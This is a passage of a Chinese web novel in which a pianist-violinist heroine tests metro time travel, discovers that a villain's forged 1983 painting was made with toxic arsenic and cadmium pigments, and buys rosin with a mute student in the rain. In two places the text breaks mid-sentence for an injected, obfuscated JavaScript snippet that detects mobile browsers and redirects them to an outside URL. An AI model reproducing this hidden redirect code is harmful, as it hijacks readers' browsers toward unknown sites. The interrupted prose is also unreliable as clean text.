整整一天里,除去在家练琴的时间,林菀就跟涂淼一起反反复复地乘坐地铁。林菀认为既然她跟涂淼一起共床这么久都没能带涂淼一起穿越,那么就再试试进入这个世界的路线——坐地铁。 “我跟你说,那个安检小姑娘看咱俩的眼神都跟看神经病似的,哈哈。”涂淼划拉着微信里数不清的地铁扣费通知,活动了一下腰背,重新打起精神。 林菀看了眼时间,现在已经晚上十一点。她一条条划掉便签本上已经尝试过的项目,“整点来回、远程来回、近程来回……包括早起第一班已经试过了,全部没效果。现在只剩下午夜末班。” 这是林菀寄希望最大的时刻。 难耐地等到时间点,林菀带着涂淼从珑亚总部附近的那一站地铁站进站。时空变幻,在这个世界,珑亚其实不存在。可这个地段依旧有很多互联网大厂。临近午夜,下班的人不少,其中大部分人选择打的,但也有人选择乘坐地铁。 涂淼没上过一天班,她好奇地打量着脚步匆匆的上班族,回头问林菀,“你在那边也是这样吗?” “嗯,背着包,拿着工牌,拎着寄到公司的快递,难得轻松地埋头刷会儿手机。”林菀轻声说。 涂淼深深地吐了一口气,没有说话。 最后一班地铁很快到站,林菀率先踏入地铁却没听到涂淼的脚步声,她回头一看,涂淼还犹豫地停留在站台上。这一刻,林菀突然意识到了什么,张了张嘴却没有说话。 大门红灯亮起,千钧一发的时刻涂淼还是一咬牙冲了进来。车门紧贴着她的脚后跟关上。林菀都肯抛弃一切从另一个世界过来救她,她还有什么犹豫的?虽然她不想去那个世界,但只要林菀以后能顺利带走其他人,那么她也愿意先身士卒做实验。 车厢在黑暗的隧道当中急速行驶,很快便经过几个站点,来到繁寓站。这一路上,林菀和涂淼都没有说话,只是屏住呼吸肩并肩坐着。 随着机械化女声通报响起,林菀迫不及待第一个出地铁,然后就要掏手机看时间。 “怎么样?”涂淼连忙跟过来,很是紧张,“现在是哪一年哪个时间?” “没穿越。”林菀抿紧嘴唇,略微失望。她都不用看手机,只需抬头看前方——几位工作人员正在更换墙壁上的广告。新广告是莱音演出预售海报,正中间是林菀的剪影。由于临时更换演出时间,莱音在宣传上砸了更多的钱。 涂淼抹了一把额头上的汗珠,叹口气,心情复杂。“我们明天再试试。说不定跟地铁车型编号有关。” 林菀摇摇头,“我明天要跟我妈一起去看林乃岳画展的场地。” 涂淼耸耸肩,“之前说要跟商氏夫妇收藏家借油画,就是为了这个新展吧?” 提到油画,林菀又想起什么,“对了,庞涛也有一幅油画,很古怪的油画。”她当时在大门外看到那画的感觉就不舒服,现在想起来鼻翼间仿佛还充斥着刺鼻的香水味儿,“那幅画没问题是最好……可我放不下心,得找人问问。” “靠,这垃圾还真不是省油的灯。”涂淼嫌恶地皱起眉头,“这事儿包我身上。”当初买楼,她还认识了个庞涛的老熟人马总呢。她接手烂尾房,马总对她可是感激有加。 …… 第二天,下午。 林菀如约到达莱城艺术创意基地。这个基地是个巨大的园区,专为发展文化艺术而创设。所有建筑都有不同的风格,或简约现代,或典雅仿古。路口的路标指向特定的建筑,标明公司名称,有儿童艺术宫、展览中心、法餐培训、博物馆等等。这里道路宽阔,连接着成片的人工草坪,其间点缀着各种造型奇特的雕塑,甚至还有十米高的巨型机器人。 而林乃岳基金会定下的画展举办地为一栋五层高楼展馆的第一层和第二层,现在已经开始室内动工。 林菀从侧门进入,迎头便看到周城走出来。多日不见,周城的头发长了些,风一吹显得有些乱,愈发和徐箴言相似。 “大忙人出来活动了?新闻都说演奏会推迟,可你还是不见踪影呢。”周城揶揄道。由于连日繁忙,他清瘦许多。而他邀请林菀吃饭好几次,都被拒绝了。 “确实忙,等演奏会过后会轻松点。”她笑着说,“我妈到了吗?” “在里面跟秦经理说话,去吧。”周城轻轻推推她。他的手扶在她的胳膊肘上,在客气礼貌之间又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102864|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着一丝亲昵。 林菀看向他的面孔。周城脸上并无异色,依旧很和气地微笑着。 与他道别后,林菀独自绕过两个弯,便来到一个大厅。这里一面墙漆成白色,另外三面都是落地窗,光线炽亮。外头的花坪在重新更换植物。 林菀没留意那些新运来的绿色灌木到底是什么种类,她只注意到室内有几个工人将装修材料扛进来。而大厅正中央,林珠莉正在听林乃岳基金会秦文翰经理的汇报。 “停。”林珠莉一挥手,“五百万够吗?” 秦文翰愣了几秒,“够。” 林珠莉利落地从支票夹撕下一页,“两个星期之后,别找理由,给我看结果。”她回头看到林菀,脸上终于浮出一抹若有似无的笑意,扬了扬眉,“来了?” “嗯。”林菀说,“我看了资料,左边角落要做文创区?” “对。”林珠莉走过来,“走吧,陪我买杯咖啡再回来。” “展馆装修进度如何?”林菀边走边问。 “室内设计改三遍了。”林珠莉说,“我的要求是观众绝不能走回头路,让他们给我改到满意为止。秦经理过于重视到处借画,可这场馆能不能塞下那么多画都是问题。”她顿了顿,上下打量女儿几眼,“徐箴言银行同事得梅毒跳楼那事儿,都处理好了?”这是只有出门才能聊的话题。 “是的。”林菀平静地回答。 “不错。”林珠莉点点头,“遇事不能慌,该往上冲就冲。需要帮忙就跟我说。” “好。” 场馆对面就是一家咖啡厅,人有些多。林菀让林珠莉坐到旁边等待,她去排队下单。在即将轮到她时,一个妈妈带着小孩插队到她前面。 林菀正要开口,林珠莉过来了,和颜悦色地问那对母子,“你们有急事?” 那个母亲冲林珠莉翻了个白眼,也不说话就回头看点单牌。 林珠莉的语气冷下来,“出来,排队。” 男孩妈妈立马横眉怒视:“你不也没排队,瞎嚷嚷什么?” “我怎——”林菀话还没说完,便被林珠莉一把拽到身后。“你后面是我女儿,我怎么不能提醒你?看看大家排多长的队,怎么就你特殊?要插队,你就让所有人同意!” 对方面红耳赤还在狡辩;“我刚刚就排在这里,才带孩子上厕所去了。” “这么说,营业员一定记得你?”林珠莉冷笑着丝毫不退让,刷地拿出律师名片给还没反应过来的收银员,“刚刚这人在这儿吗?尽管说。我捍卫你说话的权利。” 男孩妈妈一见到名片上烫金的“律师”二字就变了脸色,瞪一眼无辜的营业员,转身拽着她的儿子急匆匆离开。 林珠莉淡淡地抽回目光,仿佛无事发生一般问林菀,“喝什么?” 林菀诧异地望着她,一眨不眨。这其实是一件小事,她可以自己解决。但林珠莉毫不犹豫地站出来了,护住自己的孩子。原来……有妈妈撑腰是这样的感觉啊。她忍不住问:“别的母亲跟你一样吗?” “不一定。” 而这时,林菀的手机响了。“我就一杯馥芮白吧,先接个电话。” “林菀!我跟你说,姓庞的那幅油画肯定大有来头!”涂淼火急火燎地说。 “怎么回事?” “马总去问了,结果庞涛他姐以为我们要来买画,开口就要五万,说还不止咱一个买家呢。尼玛还要竞价!” 48. 古老的油画颜料 “什么?另外的买家也提价了?”傍晚的树荫下,涂淼皱着眉讲电话。而林菀在飞速打字提醒她该怎么说。涂淼点点头,比了个ok的手势,“马总,咱不浪费时间了,毕竟您也辛苦,直接提一口价六万,再多咱不要。谢谢,这周您挑个时间,我请吃饭。” 挂断电话,涂淼嫌弃地扯了下嘴角,“还真是蛇鼠一窝,他姐也好不到哪儿去。那边一抬价,她就赶紧主动打电话来暗示咱们提价,钻钱眼里头去了。” 林菀咬着唇思索,觉得这事儿不简单,“看起来,竞价的人也是非买不可。可他们又是从哪里得知庞涛有一幅画?” “说不定这买家是被虚构出来框你加价的呢。”涂淼看向路口,伸手挥挥,“徐箴言过来了。” 今天徐箴言工作不多,下班后直接来接她俩出去吃饭。自打涂淼住过来后,原本的两人行几乎都变成三人行。不管是买咖啡还是定电影票,徐箴言的订单统统变成了三人份。偶尔他俩一起拍照时,涂淼会凑在林菀那一侧,稍微留出点距离,兴奋地呲牙比耶,这样既是三人合照,又方便被裁减成两人合照。 徐箴言很是无奈头疼。他倒不是心疼开销,只是希望能多些和林菀的独处时间。可考虑到涂淼最近的遭遇,他也说不出重话。饶是这样,他还是酝酿了几秒,才能重新坦然地微笑着打开车门,“什么时候我们会变成四人行?”他可太希望涂淼谈恋爱了。 “这不得看你俩啥时候生孩子。”涂淼坐进后座,砰地一声关车门,点着手指头数,“你、菀菀、你俩的孩子,还有我。” 徐箴言差点脚下踩空让车熄火。他眼下根本没有要小孩的打算。而且考虑到林菀的工作,他也断然不会让家庭生活成为她事业的绊脚石。 林菀知道徐箴言的意思,她坐在副驾驶位,抚慰地摸了摸他的胳膊,心下也在考虑怎么补偿他。等这段时间过去就好了。 而这时徐箴言的手机响了,他戴上蓝牙耳机。“……六万?确定是他们提的最终价?” 六万这个数字一出来,林菀就刷地看向他,“你——” “稍等一下,我两分钟后给你回电。”徐箴言挂断电话问她,“怎么?” “你是跟我们竞价的油画买家?”林菀吃惊地直接问。 徐箴言先是一愣,然后恍然大悟。 这下,消息终于对上了。两个人都希望先把画买到手再通知彼此,所以没事先吭声。在搞清楚怎么回事后,马总立即退出,江小姗最终砍价一半,拿到了那幅油画,紧接着就送到徐箴言家。 他一边揉鼻子打喷嚏,一边拎着画进了大门。“快点,这画味儿太重,搞得我鼻炎都犯了。” “辛苦了哥们。”徐箴言给他转账。而林菀跟江小珊打了招呼,迫不及待地和涂淼一起将画抬到餐桌上,开始拆粗劣的报纸包装。 随着画的真容初露,香水味越来越重。 “这得撒了一瓶香水到画上了吧?”涂淼捏住鼻子。厌屋及乌,她非常讨厌庞涛使用的香水。 “按理说没必要。庞涛查询过油画拍卖,如果他想出手,就得保养这幅画。洒香水会破坏这幅画的颜料。”徐箴言将画板翻过来,发现后面打着一个1983年的年份印章。 江小姗忍不住好奇,也凑过来观察。他自然知道庞涛的身份,就是那个差点毒死徐箴言的梅毒男。“这画的啥啊?积木?还是魔方?” “是抽象的人脸,眼睛、鼻子,还有嘴巴在这里——有毕加索的风格,对不对?”林菀说。 徐箴言观察着油画上色彩鲜明的大段配色,弯腰仔细嗅闻了一下颜料的味道。在浓烈的香水味里,他依稀分辨出一丝古怪的酸味,就仿佛劣质家具散发出来的甲醛味道。 “好吧,你们继续看画,我先走了。”江小姗说,他得回消防队报道了。 “我也出门吧,去工作室一趟。”涂淼拎起包。 林菀送二人离开,回来发现徐箴言将画搬到二楼画室。她也跟上,“这幅油画不可能真是1983年创作出来的吧?” “我也怀疑。”徐箴言套上画画专用的牛仔围裙,“可这幅画古怪在没有画家签名。”没有签名的油画,就算画家本人再出名,在画的真实性方面也得画个问号,还得大费周章请专家鉴定。市面上类似作品,也只能哄哄庞涛这样的外行人掏钱购买。 徐箴言拿出刮刀,小心翼翼地刮下油画上干凝的黄色颜料,然后放在指尖捻了一下。 “颜料有问题?”林菀问。 “这质地跟我使用过的颜料不一样。”徐箴言转身打开水龙头冲水洗手,“国内外叫得出名字的油画颜料品牌,总共也就那么十几个而已,品牌传承几十年乃至几百年都没变过。倘若这幅画的年代为真,那么1983年就能画油画的人,势必家境优渥,选的颜料肯定都是经典品牌。如果这幅画是现在才画的,那更没理由从犄角旮旯里搜罗劣质颜料了,毕竟还得拿出来忽悠人。” “别碰。”他见林菀要伸手碰画,立即拦住她,“我来就行。”然后他找出一双橡胶手套戴上,继续拿起刮刀刮下一点漂亮的翡翠绿色颜料。 在这方面,林菀是门外汉。“那你觉得这是什么?” “老鼠药。”徐箴言不疾不徐地说。 林菀脑子里嗡的一声,不可思议地再次确认,“老鼠药?!” “没猜错的话,这种颜色叫祖母绿,也叫巴黎绿,是几百年前出现的油画颜料,莫奈、梵高都非常喜欢。”他将手指上碾碎的翡翠绿颜料展示给林菀看,“毒性很大,常用于制作杀虫剂或者老鼠药。” “怎么能把毒药用作颜料?”林菀简直匪夷所思。 “它很好看,不是吗?而且当时的人们对颜料毒性的了解也不多。”徐箴言思考了一下,继续说道,“其实如果深究欧洲历史上著 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徐箴言在研究欧洲油画历史的时候也做过颜料方面的研究,对比过金属颜料和现代替代品的色差。以一推百,如果他猜的没错的话——“庞涛这幅画里,绿色颜料用的是巴黎绿。黄色颜料用的是镉黄,蓝色用的是钴蓝,白色用的是铅白……”统统有毒。 “全部都是这种有毒金属颜料?”林菀拿起那管钴蓝,越听越眉头紧锁,越难以置信。 “这管钴蓝已经是调整过配方的。我怀疑这画用的颜料毒性更大,他自己单独调制的也说不定。毕竟多种气味挥发,已经难闻到需要用香水来掩盖。普通油画根本不需要。”徐箴言的话语依旧很平静,“说起来,莫奈的眼病、梵高的精神失常都被怀疑跟当时使用的油画材料有关——” 听到这句话,林菀灵机一闪,脱口而出,“庞涛!” 这一瞬间,她茅塞顿开,脑海里火花爆炸,震惊得如遭雷劈。紧接着突来的寒意让她仿佛身处严冬,在这酷暑的天里起了阵阵鸡皮疙瘩。 林菀忍住心头那仿佛被毒蛇缠绕的战栗,继续说道:“你说他在公司里还算正常,就是言行稍微出格了点而已。而且他还在吃药治疗,那怎么脑子里的梅毒会突然让他分不清现实与幻觉,直接跳楼?肯定跟这幅画有关系。他把这幅画挂在床头,每天都会呼吸进油画挥发的毒气。各种有毒物质掺杂——他就跟几百年前的油画家一样中毒,导致精神症状加重。是这幅油画导致他跳楼!” 林菀颤抖的尾音在画室里久久回响。 徐箴言沉默地听着,慢慢握紧拳头,喉头滚动。他盯着那幅油画,就跟雕塑一般一动不动。半晌,他才深深地呼吸了一下,平复五味杂陈的心情,“到目前为止,这都是咱们的猜想,还需要进一步证实。” “找拉里艺术画廊的店主毛拉。”林菀毫不犹豫地说。她还记得当初为了鉴定商皓宸家里那幅加百列时找的鉴定师说毛拉在绘画鉴定这方面出类拔萃。 毛拉,一定能帮上忙。 49. 一颗糖的赌局 拉里艺术画廊。 周日的晚上,客人不多。门口假花枝上的绿色和尚鹦鹉却时不时来一句“欢迎光临”。 檀香袅袅里,毛拉穿着缀亮片的紧身衬衫,戴着八角皮帽,优雅地将几位客人送离,偌大的复古店面里只留下林菀和徐箴言。 他锁好大门回到柜台后先当着两人的面关闭监控摄像头,然后麻利将一个红包推到两人面前,目光炯炯,“劳务费我不要,你们拿回去。” “你没研究出来那些颜料的问题?”林菀立即问。 “不,这些东西化验清楚就知道成分。”毛拉将三个装不同颜色粉末的小瓶子也摆到台面上来,这是林菀昨天拿给他的。他提出自己的要求,“我想看画。” “为什么?” “难得遇到一个跟你有一样爱好的人,肯定会好奇吧?不过做我们这行的,走南闯北收货,细问来由就没法做生意了。所以我不问人,只想看画。”毛拉耸耸肩,强调了几个字,“复古绘画。”他是一个复古油画爱好者,热衷于收集几百年前的作品和材料。 徐箴言略作思忖,并不拒绝,“我们已经把画带过来了,不过得看你针对这些颜料有什么说法。” 毛拉幽幽叹了口气,“得拿出我压箱底的老本咯。”他回内室叮叮咚咚倒腾一番,最后端出来一个小木盘,上面放着几样看上去很有年头的颜料,有的用玻璃瓶装,有的用铁罐装,有的用瓷瓶。 “巴黎绿,1887年由宣伟公司制产,早就绝版。至于宣伟,全球最著名的涂料供应商,你们应该听过吧?”毛拉戴着手套展示着一个早就锈迹斑斑的密封铁罐子。罐身绿色包装上写着“Paris Green”以及“poison”字样。“这罐颜料主要成分跟你拿来的这瓶翡翠绿是一样的。” 纵然早有心理准备,可林菀还是心一沉。“其他两瓶呢?” “镉黄、钴蓝。”毛拉说,“调制配比不当,毒性很大。”他提醒林菀,“不管是谁接触这些东西都必须当心,否则就是自杀。” “我知道。”林菀注意到毛拉盘子里一个棕黄色的小瓶子,“这是范戴克棕?”昨天她恶补了一晚油画知识,了解到一些颜色分类,清楚镉红和钴蓝混合可以得到范戴克棕,毒上加毒。 “不,这是用埃及木乃伊磨成粉制作的木乃伊棕,很经典的油画颜料,我费老劲才从黑市上搞到。”毛拉对着灯光欣赏着那个小颜料瓶,“我的私房钱可都砸在这些宝贝上了。” 林菀先是震惊于木乃伊竟然能当油画颜料,再惊诧于—— “你结婚了?”她还以为毛拉是…… “我都什么年纪了,当然已婚。”毛拉沉醉于欣赏自己的颜料收藏,许久才抬起头,“怎么样?够内行吧?画在哪儿?我绝对替你们保密。”他刚刚展示自己的藏品,也相当于是秘密置换。 林菀思考数秒,和徐箴言交换眼神。然后徐箴言就回车里将那幅画拎过来。 毛拉看到画的一瞬间,倒吸一口凉气,然后迅速将室内空调风速调高,吹散浓烈的香水味。紧接着他拿出放大镜看画,上半身几乎趴在了画上。 “后面有年份盖章,1983年。”徐箴言提醒道。这是他关心的问题。毕竟商皓宸家里那幅加百列油画也涉及年份问题。“你觉得这幅画有可能是八十年代的吗?” 毛拉丢下放大镜,将油画翻转,研究后框上的印章。半晌,他才说道;“一半是,一半不是。” “怎么讲?”徐箴言问。 “画框、画布,很有年头了。”毛拉拎起画框,微微掰开木头与画布的缝隙,“虽然外表清理过,但这夹缝死角难清理,看看这里头的灰尘蜘蛛丝儿,都是岁月沉淀。”他又将画放平,“至于创作在这块画布上的油画——颜料不会说谎——当然是这两年的。由于画得仓促,连签名都忘了。还有这个角落,上光油潦草带过,压根没涂满,导致色块暗淡,不鲜亮。” 他思考了一下,反过来问,“画家本人怕中毒?”那就怪了,怕中毒为什么还选择复古颜料。 然而这个问题,不管是林菀还是徐箴言都不能回答。等不到答案,毛拉又说道:“这幅画可千万别挂家里,尤其不能进卧室。” “你觉得它的艺术造诣如何?现代有风格相近的画家吗?”徐箴言再次开口,脑海里是在抖音里看到的,商皓宸家中客厅里风格相近的那幅画。其实他心里已经有底,怀疑眼前这幅画是粗糙仿制,但需要听到毛拉亲口验证。 毛拉挑眉,打了个响指,“还真有。”他搬出平板电脑,点出一个文件夹,展示一个画家的作品集,“祁筑庭,听说过吗?” 林菀眉头一跳,她听商皓宸说过这个名字,说是他父母有收藏这位画家的作品。 “林小姐肯定听说过。”毛拉很懂地说,“八十年代末,祁筑庭初露头角,后来进入九十年代,他和后起的林乃岳并称画坛两颗冉冉升起的新星。” “然后?”林菀继续问。她发现了毛拉这个人的特点。他讲话就跟竹筒倒豆子似的,啥都能往外说,但非得问一句他才说一句,否则不会主动讲。 “然后他二十五岁就封笔了,可真是遗憾啊……”毛拉感叹道,“所以新星只剩下林乃岳一人。”他点开一张油画放大,“这是祁筑庭二十四岁的自画像,创作于1990年,现在被一对夫妇收藏。” 毛拉在平板电脑里展示的这幅画,就是徐箴言在商皓宸视频里看到的。他瞬间意识到,庞涛的人脸油画打了1983的年代标签,就是为了伪装成祁筑庭在十七岁时的自画像。 “哦,对了,还有这幅农村人物画,上个月在拍卖行拍出了一千八百万的价格。”毛拉又划拉出一幅祁筑庭的画。显然,祁筑庭的作品价格比林乃岳的高很多。 林菀沉默地看着眼前的伪造画,然后看向毛拉。毛拉脸色平静,可那双狡黠的眼睛出卖了他的心思——他 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徐箴言见说服不了他,便再次道谢后,一手拎着油画,一手牵着林菀,转身离开。 看着二人的背影,毛拉忍来忍去,还是忍不住提醒,“你们了解过商氏夫妇吗?” 林菀刷地回头。 “他们是国内最有名的收藏家,投资眼光无比精准独到。他们创造过十万买下的画,第二年转手两千万的记录。”毛拉提高音调,意味深长地说,“连股神巴菲特还有失手的时候,可他们从不失手。” 从不失手,意味着百分百的幸运——这就是问题。 徐箴言沉默几秒,突然转身回来,毫不犹豫地问毛拉,“赌一把吗?” “赌什么?”毛拉眼神变得犀利。 “赌一颗糖。”他从兜里掏出一颗牛轧糖。这是林菀今早放在他兜里的,怕他没吃早饭会低血糖。 毛拉的表情里出现兴味,“具体内容?” “赌你不能将今年绘制的油画经过技术处理后,变成拥有三十年历史的旧画。如果你能做到,这颗糖归你。如果你不能做到,这颗糖还是归我。你需要的油画,由我提供。想要几幅,我就画几幅。” 毛拉抱起胳膊,打量着徐箴言坚定睿智的眼睛。良久他伸出手,“成交。”他笑了笑,“这颗糖我势必拿下。” 认识这么久,他相信徐箴言的人品,总不至于黑了他一颗糖。 而徐箴言则是看到毛拉从黑市买来的那些颜料就知道这个人骨子里有探索精神,不受规则局限,且痴迷复古油画。但毛拉性格也有谨慎的一面,所以徐箴言不能将一切坦白来请他帮忙——他肯定不会同意。 但打赌,哪怕赌局再幼稚,都给了毛拉一个名正言顺跳出事外跟还能志同道合的人一起探索的机会。他不想知道前因后果,但他对如何制造出一幅完美的复古伪画很感兴趣,所以心痒痒地旁敲侧击。 一颗糖的赌局,就此定下。 50. 一起买松香 离上课只有三分钟了,可距离林菀家还有一个红绿灯路口和半条街。 商皓宸有些不耐地扣上遮光板,将手腕伸到司机面前。 司机看了眼近在咫尺的运动腕表,哭笑不得地点头。绿灯亮起,他脚踩油门,加快速度驶离十字路口。 到小区门口,商皓宸下车就背着琴盒大步跑起来。炎热无风的夏日,他罩在T恤衫外面的短袖衬衫在身体两侧翻飞。他就像一只鸟儿一样,飞向林菀的方位。 跑到楼栋下,他一个急刹车站住,微微喘着气,既诧异又担心地望着从电梯出来的林菀。上一次的课就没上,难道这一次林菀又有事得取消课程?他不免沮丧。 “我正要去小区门口等你呢,今天另有上课计划。”林菀走出来,“麦柯请假——”她忍不住笑了,“我还没说今天要干什么呢,你怎么就一个劲儿点头?” 商皓宸眼睛亮晶晶的,他只听到麦柯今天不来,那么就是他和林菀单独相处,开心! 林菀掏出纸巾递过去,示意他擦汗,恢复师长的端正神态,“上次你说没用过称手的松香,今天我带你去买。这也是成为小提琴家的必备工作。”松香,是拉小提琴必不可少的用品。给琴弓擦上松香,有改善音色、增加摩擦的作用。所以基本每次练琴之前都要使用松香。 商皓宸心情雀跃起来。巨大的喜悦瞬间包裹了他的心,但他迅速低下头,紧紧抿唇忍住笑容,抿得两边脸颊出现酒窝,生怕林菀发现他的异样。 他跟在她身侧,慢了一两步。林菀跟他说话得不到回复只能回头看他,而他就加快两步,打字将手机递过去,然后再次慢一两步,就这样静静地尾随在她身侧。 回到小区门口,商皓宸立即看到自家的车还在路对面等待。司机一边抽烟,一边背对马路,看大爷下棋。他迅速挪开目光,假装没有看到。 瞧见林菀点开打车软件,商皓宸立即伸手挡住她的屏幕,然后掏自己的手机示意他来。一起出门,他怎么能让女孩子负责打车还付钱呢? 林菀便默许他来打车,只当这个家教极好的男孩很是尊师重教。她没有像徐箴言那样几乎翻遍了商皓宸的抖音。她只看了两三个视频。与觉得视频别扭的徐箴言不一样,她作为在现实生活里曾经极度羡慕莱音小提琴首席的普通人,对商皓宸的心情简直感同身受。她没有多余的想法,只认为他跟自己一样爱惨了小提琴,渴望在乐团最重要的位置上实现梦想,所以十分羡慕前辈,无比仰望偶像。 如果她有这样的机会——能够亲遇只能在地铁海报上见面的小提琴家,并得到对方指教,那么她做梦都会笑醒,更别提像商皓宸一样狂拍视频记录心情了。 上了出租车,商皓宸抢先坐在被阳光暴晒的那一侧,琴盒就放在膝头,两手紧紧抓着背带。在这样一个狭小的空间与林菀并肩而坐,他的心砰砰跳个不停。 他的紧张被林菀看在眼里。她轻轻挪开目光,果然学生都怕老师啊,这孩子也太怕了。可是没办法,林菀低低叹了口气。她必须找一个合适的借口,支开麦柯,单独向商皓宸打探消息,而且越快越好。 经过与毛拉的谈话,林菀和徐箴言的注意力都不约而同地汇集到商氏夫妇身上。他们是国内有名的收藏家,但早早移民出国。相关报道都简单地称呼他们为商氏夫妇收藏家,顶多再提一句“James Shang and Sheryl Shang”,连中文名都没有。 他们也鲜少露面,参与拍卖都是远程竞拍,通过电话指挥坐在委托席上的工作人员竞拍。在一些社交场合出现的都是他们的代理人。 “你父母,是不是很少回国?”林菀问。 商皓宸点头,打字回复林菀,“他们在国外忙工作,国内有family office负责。”Family office,直译是家族办公室,在欧美早有传统,是专为顶级富豪家庭提供全方位财富管理和家族服务的机构。看来商家也有专属家族办公室。那位代表商氏夫妇出席各种场合的代理人,估计是家族办公室的总经理,可能被称作管家更为恰当。 这个机构的出现,意味着商家比林菀想象的更加富裕。她还想继续问,却见司机喊一声到了。 下车的地点靠近莱音交响乐团,是一条长长的特色街道,临街店铺都是卖各种乐器,或者开班做音乐教学的。 林菀率先进一家样式老旧的店铺。门口的牌匾用中英文写着创立于1934年。临街橱窗挂着大小不一的提琴。 室内,白头发的老板坐在藤椅上擦琴,看到林菀进来便放下手里的活儿站起来,“林首席,好久不见啦。” “好久不见。”林菀微笑着打招呼,“松香有进货吗?” “有。各种档次的都有。”老板展示柜台里的松香,拿了好几款出来。 “你试试。”林菀让商皓宸坐下,在桌上打开松香包装查看。不同种类的松香,对小提琴的音色有不同影响。“这款含金,使用后音色会很清晰鲜明。这款含银,声音会比较脆亮。至于这块含铜,声音会温暖柔和一些。” 商皓宸认真地听着,他喜欢这种感觉。他坐在桌边,而林菀就站在他身侧。他一仰头便能看到她。她挡住了光芒……她就是光芒,从高处而来,占据了他低微的整个世界。他屏住呼吸,多希望这一刻能变成永恒。 然而下一刻,他就注意到她看了下时间说,“你要不要选一款?” 他慢慢握紧手,该怎么……怎么延长这个时刻?他能不能撒谎说没有听清,请她再留在他身边,细细讲一遍? 然而,时间还是这样无情地过去。半小时后,他磨磨蹭蹭,选择了两款松香。 从店铺出来,原本的艳阳天突然浓阴密布。 “走快点吧,我们去路口打车。”林菀说。她看到这条路的尽头被封了,有修路工人在作业。而手机打车软件显示外面的主路红成一片,显然堵车了。 商皓宸加快脚步,将手机塞到她怀里。上面显示——“我已经打车了,在排队。” “那得——”林菀话还没说完,豆大的雨点已经砸下来。路面很快溅起小腿高的水花。 两人匆匆退到屋檐下。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102867|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们刚好走到一段长长的围墙中段,只有头顶窄窄的屋檐可以勉强避雨。 林菀的衣袖很快被打湿,而商皓宸突然放下琴盒,冲了出去。 瓢泼大雨里,他头也不回地朝几百米外的商店跑去。衬衫几乎瞬间湿透。 林菀愕然地愣在原地,一时间大脑一片空白。他的手机,还在她手里。 几分钟后,商皓宸拿着一把伞冒着雨跑回来。回到屋檐下,他才抹了一把脸上的水珠,抖开透明的伞撑起来。 林菀默然无言地看着他动作。她想问他,“你何必呢?”何必冒雨去买伞?明明在这里等一会儿就好了,反正还没打到车。何必在没有带手机的情况下冲出去?他不会说话,怎么跟店员沟通?种种问题冒出来,可最终她将手机还回去,只轻声问了一个问题:“回来的时候,怎么不打伞?” “这样更快。”这是他的回复。 “……你怎么跟店员说要买伞的?” 他的眼眸闪着亮亮的光芒,专心地注视着林菀。然后,他将伞交给林菀,转身毫不犹豫地重新站到漫天雨幕里,眼睛弯弯带笑地看她。 他是这样跟店员沟通的,回到雨里,身体力行地示意对方,他要买伞。 “回来,小心感冒了。”林菀挪开眼神,不忍再看。 商皓宸听话地回到屋檐下,一手主动拿过伞柄,一手拿过林菀手里提着的琴盒和松香。 雨依旧噼里啪啦地下着。 眼看走得离路口越来越近,林菀终于整理好复杂的心情,重新自然地开玩笑道:“你的朋友们都很喜欢你吧?”她隐晦地将他今天的行为归类到友情的范围里。 商皓宸没有说话,林菀便当他听懂了。 然而这一刻林菀忘了商皓宸压根不会说话。 他沉默着,捏紧冰凉的伞柄。提到朋友,他多想跟她聊自己和朋友的趣事,他一定会逗得她哈哈大笑,他会让她认识另一个从不紧张兮兮的自己。 玩滑板的广场夜景多好看呐,朋友家开的密室逃脱太离谱啦,昨天看的一个悬疑片简直是一个喜剧片……生活中发生的所有事情,他都想告诉她。或许还能说,嘿,周末你要不要跟我一起出门?周六或者周日,你选。我当然想两天都一起啦。就算你不想试试滑板和密室逃脱,那我们可以一个接一个地逛音乐商店,只要你能开心,我就把你想要的统统都买给你。我们可以分享各自的故事,我想知道你小时候如何辛苦地练琴,求学时多么孤独,工作时又多么勤奋。你有伤心难过的时刻吗?也分享给我吧。你喜欢吃什么食物,看什么电影,听什么歌曲,我都想知道。我要把你介绍给我所有的朋友。或许有一天,我们还能一起去意大利,看歌剧听演奏会,我要送你世界上最好的手工小提琴。你……愿意跟我出门么? 然而他天生不会说话。他左手举着伞,右手拎着琴盒。他张了张嘴,只感觉水珠顺着脸颊流下去。他腾不出手来跟她说话。 头一次,他因为自己的生理缺陷而感觉到了晦涩至极的痛苦。 他,很难过。 特别难过。 51. 商氏夫妇 坐进出租车时,林菀感觉手机震动两下。她扫了一眼又是紧靠另一边窗户坐着的商皓宸,点开微信。 徐箴言已经发来好几条信息—— “聊得怎么样?我在毛拉这里。” “下雨了,有伞吗?注意别淋雨着凉。” “如果他不肯说,也别沮丧。你尽力了。我预约了餐厅,晚上一起吃法餐。” 而最新一条则是:“我查了一下商氏夫妇投资过的那些艺术家。他们都是当代画家但几乎全部离世。只有祁筑庭还活着。” 林菀手一抖,猛地睁大眼睛,刷地抬头看向商皓宸。 而商皓宸还沉浸在自己的心思里,垂着头显得有些落寞。 林菀记得他曾经提过一个叫翁寒的画家。她默然打开浏览器一查,发现这位画家不到三十岁就在徒步写生时离奇失踪。她心里一阵寒凉,又搜索“早逝 当代画家”,然后若无其事地问道:“对了,最近龙升画家办了画展,我记得他的作品你家也有收藏?你去看过他的画展吗?” 